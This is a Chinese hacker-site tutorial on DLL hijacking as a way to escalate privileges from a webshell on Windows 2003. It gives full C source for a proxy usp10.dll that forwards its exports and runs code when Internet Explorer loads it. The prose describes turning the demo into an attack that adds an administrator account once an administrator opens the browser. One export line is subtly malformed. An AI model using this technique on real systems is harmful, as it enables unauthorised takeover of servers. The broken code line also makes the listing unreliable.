最大最专业黑客组织 -- 黑客联盟 -- Hacker Union For China -- www.ChinaHacker.Com -- 黑色矩防火墙 -- 专业防御DDOS攻击

联盟首页 技术文章 软件下载 DDOS防御 核心申请 分站申请 邮局系统 技术咨询 区域分化 广告合作 代理服务 版本V6.22

-------- Welcome To Hacker Union For China !Thank You For Your Support !--------
================ 维护祖国尊严 爱我中华 强我中华 耀我中华 ================
中国黑客联盟>>网络信息  |   中国黑客联盟>>系统知识  |  
中国黑客联盟>>网络信息>>漏洞入侵>>基于DLL劫持的WebShell提权

基于DLL劫持的WebShell提权


DLL劫持在破解逆向程序时是常用的,我们同样可以用于Webshell提权。

●DLL劫持产生的原因●

先来看一下,DLL劫持的原因。
1、Windows的DLL称为动态链接库,动态链接库技术的本质实际上是将可执行文件与库文件分离,DLL库文件通过导出表提供API接口,PE加载器通过exe文件的导入表加载相应的DLL,并根据exe文件中的INT查询DLL中的函数地址,同时写入IAT。
2、当PE加载器根据exe文件的导入表加载DLL文件时,它会按照程序的当前目录-->system32目录-->windows目录-->PATH环境变量设置的目录来依次查找要加载的DLL文件。因此,我们可以在伪造一个导入表同名的DLL文件,放置到exe文件的目录中,让PE加载器加载我们伪造的DLL文件,从而实现劫持。
3、DLL的转发器功能为我们提供了必要的条件,所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。类似于下面的代码:


//xxx.dll
#pragma comment(linker, "/EXPORT:MessageBoxA = user32.MessageBoxA")

即xxx.dll中有一个MessageBoxA导出函数,当调用xxx.dll中的MessageBoxA时,实际上调用的是 user32.dll中的导出函数MessageBoxA。如果我们伪造exe文件所加载DLL中的一个并将伪造的DLL文件放置在exe文件目录中,同时转发其所有的函数调用(转发到正常的系统DLL文件函数调用中),就可以做一些有意思的事情。

●实战●

上面是理论,下面来实践一下,以Win2003为例,定位到Iexplore.exe的目录,随便建立一个文件命名为usp10.dll,然后运行iexplore.exe

直接运行IE提示出错

基本可以确定iexplore.exe加载usp10.dll,要确定一个可执行文件加载哪些DLL有时候单纯的查看导入表是不可取的,最好的办法用OD加载程序,ALT+L查看加载记录,如图2所示,但是需要注意一点,系统的一些关键DLL比如kernel32.dll、ntdll.dll无法劫持。


编写如下dll文件:


//伪造的usp10.dll
#include <windows.h>
//转发usp10.dll中的所有函数
#pragma comment(linker, "/EXPORT:LpkPresent=usp10.LpkPresent,@1")
#pragma comment(linker, "/EXPORT:ScriptApplyDigitSubstitution=usp10.ScriptApplyDigitSubstitution,@2")
#pragma comment(linker, "/EXPORT:ScriptApplyLogicalWidth=usp10.ScriptApplyLogicalWidth,@3")
#pragma comment(linker, "/EXPORT:ScriptBreak=usp10.ScriptBreak,@4")
#pragma comment(linker, "/EXPORT:ScriptCPtoX=usp10.ScriptCPtoX,@5")
#pragma comment(linker, "/EXPORT:ScriptCacheGetHeight=usp10.ScriptCacheGetHeight,@6")
#pragma comment(linker, "/EXPORT:ScriptFreeCache=usp10.ScriptFreeCache,@7")
#pragma comment(linker, "/EXPORT:ScriptGetCMap=usp10.ScriptGetCMap,@8")
#pragma comment(linker, "/EXPORT:ScriptGetFontProperties=usp10.ScriptGetFontProperties,@9")
#pragma comment(linker, "/EXPORT:ScriptGetGlyphABCWidth=usp10.ScriptGetGlyphABCWidth,@10")
#pragma comment(linker, "/EXPORT:ScriptGetLogicalWidths=usp10.ScriptGetLogicalWidths,@11")
#pragma comment(linker, "/EXPORT:ScriptGetProperties=usp10.ScriptGetProperties,@12")
#pragma comment(linker, "/EXPORT:ScriptIsComplex=usp10.ScriptIsComplex,@13")
#pragma comment(linker, "/EXPORT:ScriptItemize=usp10.ScriptItemize,@14")
#pragma comment(linker, "/EXPORT:ScriptJustify=usp10.ScriptJustify,@15")
#pragma comment(linker, "/EXPORT:ScriptLayout=usp10.ScriptLayout,@16")
#pragma comment(linker, "/EXPORT:ScriptPlace=usp10.ScriptPlace,@17")
#pragma comment(linker, "/EXPORT:ScriptRecordDigitSubstitution=usp10.ScriptRecordDigitSubstitution,@18")
#pragma comment(linker, "/EXPORT:ScriptShape=usp10.ScriptShape,@19")
#pragma comment(linker, "/EXPORT:ScriptStringAnalyse=usp10.ScriptStringAnalyse,@20")
#pragma comment(linker, "/EXPORT:ScriptStringCPtoX=usp10.ScriptStringCPtoX,@21")
#pragma comment(linker, "/EXPORT:ScriptStringFree=usp10.ScriptStringFree,@22")
#pragma comment(linker, "/EXPORT:ScriptStringGetLogicalWidths=usp10.ScriptStringGetLogicalWidths,@23")
#pragma comment(linker, "/EXPORT:ScriptStringGetOrder=usp10.ScriptStringGetOrder,@24")
#pragma comment(linker, "/EXPORT:ScriptStringOut=usp10.ScriptStringOut,@25")
#pragma comment(linker, "/EXPORT:ScriptStringValidate=usp10.ScriptStringValidate,@26")
#pragma comment(linker, "/EXPORT:ScriptStringXtoCP=usp10.ScriptStringXtoCP,@27")
#pragma comment(linker, "/EXPORT:ScriptString_pLogAttr=usp10.ScriptString_pLogAttr,@28")
#pragma comment(linker, "/EXPORT:ScriptString_pSize=usp10.ScriptString_pSize,@29")
#pragma comment(linker, "/EXPORT:ScriptString_pcOutChars=usp10.ScriptString_pcOutChars,@30")
#pragma comment(linker, "/EXPORT:ScriptTextOut=usp10.ScriptTextOut,@31")
#pragma comment(linker, "/EXPORT:ScriptXtoCP=usp10.ScriptXtoCPScriptXtoCP,@32")
#pragma comment(linker, "/EXPORT:UspAllocCache=usp10.UspAllocCache,@33")
#pragma comment(linker, "/EXPORT:UspAllocTemp=usp10.UspAllocTemp,@34")
#pragma comment(linker, "/EXPORT:UspFreeMem=usp10.UspFreeMem,@35")

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH: //当DLL被加载时会弹出成功的提示框
MessageBox(NULL,TEXT("成功"),TEXT("成功"),MB_OK);

}

return TRUE;
}

将生成的dll文件命名为usp10.dll保存到iexplore的目录下,运行iexplore.exe

IE加载了usp10.dll

再次用OD打开程序,ALT+L,伪造的DLL被加载了。

OD中证实IE加载了usp10.dll

这里只是一个演示的例子,如果我们调用Netapi32.dll中的NetUserAdd和NetLocalGorupAddMembers函数,就可以添加一个管理员的账号。在得到Webshell中只要iexplore.exe的目录具有写权限,就可以将usp10.dll上传到该目录,管理员只要用iexplore.exe上网,提权也就成功了。同样这里的usp10.dll也只是一个示例,系统中实际上有很多DLL都可以被伪造,比如 ws2_32.dll,很多网络程序都会调用此DLL中的函数。
通过本文也不难发现,权限设置依然是系统安全的重要一环。


原作者:不详
来 源:不详
共有6863位读者阅读过此文

□- 本周热门文章
1.网络黑社会:谁来管管3721?[43484]
2.紧急通告:“冲击波”又出新变种 W3...[22822]
3.使用DWRCC远程安装3389[16458]
4.香港电影黑帮片经典的十七瞬间[12597]
5.Google Chrome V8 J...[12264]
6.私服安全系统安全精华篇[11292]
7.apache近期ddos漏洞解法[7426]

关于我们 | 分站申请 | 成员申请 | 技术论坛 | 站内导航 | 合作伙伴 | 联系我们

Copyrights © 2002 - 2019 www.ChinaHacker.com All Rights Reserved

版权所有   中 国 黑 客 联 盟

(Hacker Union For China V 6.22)

闽ICP备05007859号